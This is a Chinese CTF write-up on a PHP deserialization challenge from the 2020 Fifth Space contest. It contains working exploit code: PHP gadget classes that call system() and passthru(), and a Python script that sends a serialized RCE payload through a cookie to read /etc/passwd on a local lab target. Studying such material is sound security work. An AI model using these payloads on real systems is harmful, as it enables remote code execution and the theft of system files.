2020第五空间智能安全大赛web-hate-php赛题解析：从漏洞原理到实战利用

1次阅读

共计 1840 个字符，预计需要花费 5 分钟才能阅读完成。

2020 第五空间智能安全大赛是国内知名的网络安全赛事，旨在提升参赛者在真实场景下的漏洞挖掘和防御能力。其中 web-hate-php 赛题聚焦 PHP 反序列化漏洞，这是一个在 CTF 比赛中频繁出现但在实际业务中常被忽视的高危漏洞类型。

序列化与反序列化：PHP 序列化是将对象转换为可存储 / 传输字符串的过程，反序列化则是将字符串还原为对象
漏洞本质 ：当不可信数据被反序列化时，若类中定义了__wakeup()、__destruct() 等魔术方法，攻击者可通过精心构造的序列化字符串触发非预期行为

文件读写（通过篡改文件路径属性）
数据库操作（注入恶意 SQL 语句）
远程代码执行（RCE，最常见危害）

FROM php:7.4-apache
COPY src/ /var/www/html/
RUN chmod -R 755 /var/www/html

安装 PHP 7.4+ 环境
配置 Apache/Nginx web 服务
部署题目提供的源码文件
确保禁用危险函数（实际比赛环境通常不会禁用）

查找接收用户输入的 unserialize() 调用点
常见入口：
Cookie 参数
POST/GET 参数
文件上传元数据

关键属性：
– 目标类的名称
– 可控的属性值
– 魔术方法的触发顺序

示例利用链：

<?php
class Exploit {
    public $cmd = 'id';
    function __destruct() {system($this->cmd);
    }
}

echo serialize(new Exploit);
?>

import requests
import urllib.parse

class PayloadGenerator:
    @staticmethod
    def generate_rce(cmd):
        return f'O:7:"Exploit":1:{{s:3:"cmd";s:{len(cmd)}:"{cmd}";}}'

def exploit(target_url, command):
    payload = PayloadGenerator.generate_rce(command)
    cookies = {'data': urllib.parse.quote(payload)}
    response = requests.get(target_url, cookies=cookies)
    print(response.text)

if __name__ == '__main__':
    exploit('http://localhost/', 'cat /etc/passwd')

<?php
class Malicious {
    public $command = 'uname -a';
    function __wakeup() {passthru($this->command);
    }
}

$payload = serialize(new Malicious);
file_put_contents('payload.txt', $payload);
?>